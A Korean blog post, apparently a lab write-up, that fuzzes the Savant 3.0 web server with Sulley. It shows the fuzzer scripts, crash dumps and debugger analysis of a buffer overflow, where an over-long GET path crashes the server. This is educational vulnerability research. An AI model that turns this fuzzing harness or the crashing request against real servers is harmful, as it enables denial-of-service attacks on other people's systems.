기본 콘텐츠로 건너뛰기

Sulley-2

Sulley - 2

Savant는 윈도우용 오픈소스 웹 서버로 버전 별로 여러 알려진 취약점이 존재한다. Savant 3.0에는 Buffer Overflow 취약점이 존재하는 데, 이를 Sulley 퍼저를 이용하여 퍼징 테스트를 하겠다.

먼저 Savant 3.0을 설치한다. http 프로토콜은 Sulley 퍼저에 기본적으로 내장되어 있으므로 이를 불러와 사용해도 괜찮다. 우리는 이미 알려진 취약점에 대해서 퍼징 테스트를 수행하므로 편의상 취약 요소를 겨냥한 테스트를 진행한다.

requests/http.py

from sulley import *

s_initialize("HTTP")
s_group("verbs", values=["GET", "READ", "POST", "TRACE"])
if s_block_start("body", group="verbs"):
  s_delim(" ")
  s_delim("/")
  s_string("index.html")
  s_delim(" ")
  s_string("HTTP")
  s_delim("/")
  s_string("1")
  s_delim(".")
  s_string("1")
  s_static("\r\n\r\n")
s_block_end("body")

httpfuzz.py

from sulley import *
from requests import http

def init_message (sock):
  init = 'GET /index.html HTML/`.`\r\n\r\n'

sess = sessions.session(session_filename="audits/http.session")
target = sessions.target("10.0.2.15", 80)
target.netmon = pedrpc.client("10.0.2.15", 26001)
target.procmon = pedrpc.client("10.0.2.15", 26002)

target.procmon_options = {"proc_name":"Savant.exe"}

sess.add_target(target)
sess.pre_send = init_message
sess.connect(sess.root, s_get("HTTP"))

sess.fuzz()

Start Fuzzing

퍼징 테스트를 시작하고 얼마 지나지 않아 Violation이 발생하는 것을 확인할 수 있다.

Test case Crash synopsis Captured Bytesever
000140 Savant.exe:0040a2e5 mov dword [edx+0x24],0x0 from thread 1828 caused access violation 2903
001263 Savant.exe:00409167 mov ecx,[eax] from thread 2212 caused access violation 973

Test Case 140의 Crash Dump를 살펴보자.

Savant.exe:0040a2e5 mov dword [edx+0x24],0x0 from thread 1828 caused access violation
when attempting to write to 0x00004165

CONTEXT DUMP
  EIP: 0040a2e5 mov dword [edx+0x24],0x0
  EAX: 00e8df60 (  15261536) -> HTTP/1.1 404 Could not find the requested element (stack)
  EBX: 00912978 (   9513336) -> $P@`BA(\@BA (heap)
  ECX: 0041b32c (   4305708) -> Content-Type: text/html (Savant.exe.data)
  EDX: 00004141 (     16705) -> N/A
  EDI: 00000000 (         0) -> N/A
  ESI: 00912978 (   9513336) -> $P@`BA(\@BA (heap)
  EBP: 00e8e160 (  15262048) -> W@AAAAx)C:\Savant\Root wHTTP/1.1(7(rqDqDqMqt.qPPMqx)d|.qt (stack)
  ESP: 00e8dba8 (  15260584) -> w404
Error 404: File Not Found

Ollydbg를 켜서 해당 주소로 이동(ctrl + g –> 0040a2e5)해보자.
0040a2e5에 브레이크 포인트를 걸고 프롤로그를 찾아보자. 0040a0bd인 것을 확인할 수 있다. 함수 시작 지점에도 브레이크 포인트를 걸어놓고 network_monitor로 저장해둔 패킷을 확인하면 GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1와 같이 요청했다는 것을 확인할 수 있다. 이제 브라우저를 실행하여 해당 테스트 코드를 수행하자.

브레이크 포인트에서 부터 코드를 진행하면 오류 처리를 위해서 CreateFileA 함수로 C:\Savant\Error\404.HTML 파일을 읽는 것을 볼 수 있다. 그 후 Response 메시지를 구성한다. Content-Type을 구성하기 위해서 코드를 진행하던 중 Violation이 발생하는데 아래가 해당 코드이다.

0040A2E2  |.  8B55 14       MOV EDX,DWORD PTR SS:[EBP+14]
0040A2E5  |.  C742 24 00000>MOV DWORD PTR DS:[EDX+24],0

[EBP+14] –> [00D8E174]에 저장된 값 4141(overflow되어 기존 저장된 주소 값을 덮어씀)을 읽어 EDX에 넣고 [EDX+24]의 값을 불러오려던 중 해당 주소는 접근할 수 없는 주소이므로 Violation이 발생(서버 데몬 종료를 통한 DoS 공격)되는 것을 알 수 있다.

이 블로그의 인기 게시물

X-Frame-Options-Test

X-Frame-Options 테스트하기 X-Frame-Options 페이지 구성 시 삽입된 프레임의 출처를 검증하여 허용하지 않는 페이지 URL일 경우 해당 프레임을 포함하지 않는 확장 응답 헤더이다. 보안 목적으로 사용되는 확장 헤더로 아직 적용되지 않은 사이트들이 많지만 앞으로 점차 적용될 것으로 보인다. X-Frame OptionsDENY, SAMEORIGIN, ALLOW-FROM 옵션을 이용하여 세부 정책을 설정한다. 옵션 설명 DENY Frame 비허용 SAMEORIGIN 동일한 ORIGIN에 해당하는 Frame만 허용 ALLOW-FROM 지정된 ORIGIN에 해당하는 Frame만 허용 크롬 4.1 , IE 8 , 오페라 10.5 , 사파리 4.0 , 파이어폭스 3.6.9 이상에서는 DENY , SAMEORIGIN 이 적용되며, ALLOW-FROM 은 각 브라우저 마다 지원 현황이 다르다. https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/X-Frame-Options 해당 확장헤더는 브라우저에서 처리하는 응답 헤더이므로 미지원 브라우저 사용 시 설정과 무관하게 페이지 내 포함된 모든 Frame을 출력한다. (검증 테스트: Opera 5.0.0) 테스트 코드 DENY <!DOCTYPE html> < html lang = "en" > < head > < meta http-equiv = "X-Frame-Options" content = "deny" /> < title > Deny option Test </ title > </ head > < bod

C-lang-vulnerabilities

C 언어 공통 취약점 해당 글은 CERN Computer Security의 Common vulnerabilities guide for C programmers 글을 참고하여 작성하였습니다. C언어에서 발생하는 대부분의 취약점은 버퍼 오버플로우와 문자열 처리 미흡과 관련되어 있다. 이는 segmentation fault를 유발하고 입력 값을 조작할 경우 임의 코드 실행으로 이어질 수 있다. 이에 대부분의 에러와 조치 방안을 살펴보자고 한다. gets stdio gets() 함수는 버퍼 길이를 검증하지 않아 사용 시 항상 취약성을 야기한다. Vulnerable Code #include<stdio.h> int main() { char username[ 8 ]; int allow = 0 ; printf ( "Enter your username, please: " ); gets(username); //악의적인 값 삽입 if (grantAccess(username)) { allow = 1 ; } if (allow != 0 ) { //username을 오버플로우하여 덮어씀 privilegeAction(); } return 0 ; } Mitigation fgets() 함수 사용 및 동적 메모리 할당 #include <stdio.h> #include <stdlib.h> #define LENGTH 8 int main () { char * username, *nlptr; int allow = 0 ; username = malloc (LENGTH * sizeof (*username)); if (!username) return EXIT_FAILURE; printf ( "Enter your username, please:

HTML/CSS를 활용하여 카카오톡 클론 만들기

시간을 내어 HTML과 CSS를 공부한 것은 대학생 때가 마지막이었던 것으로 기억한다. 그 동안 사이드 프로젝트로 진행했던 여러 아이디어들을 결국 서비스하지 못했던 결정적인 이유는 프론트 엔드 기술 부족이었다고 생각하고 우선 HTML과 CSS 학습을 진행하였다. 프론트 엔드 기술은 많은 발전을 거듭하여 예전에 비해 큰 복잡성을 가지게 되었다. 빠른 시간 안에 숙지하지 못한 기법들에 대해서 알아보고 구현하고자 하는 아이디어에 활용할 수 있을 정도로 진행해보고자 한다. 또한 보안적 관점에서 발생할 수 있는 프론트 엔드 위협에 대해 파악할 수 있는 좋은 밑거름이 되길 기대해본다. 우선적으로 진행한 카카오 톡 디자인 클론은 노마드 아카데미의 강의를 수강하며 진행하였고 결과는 아래의 링크에서 확인할 수 있다. 소스코드 저장소 구현된 웹 페이지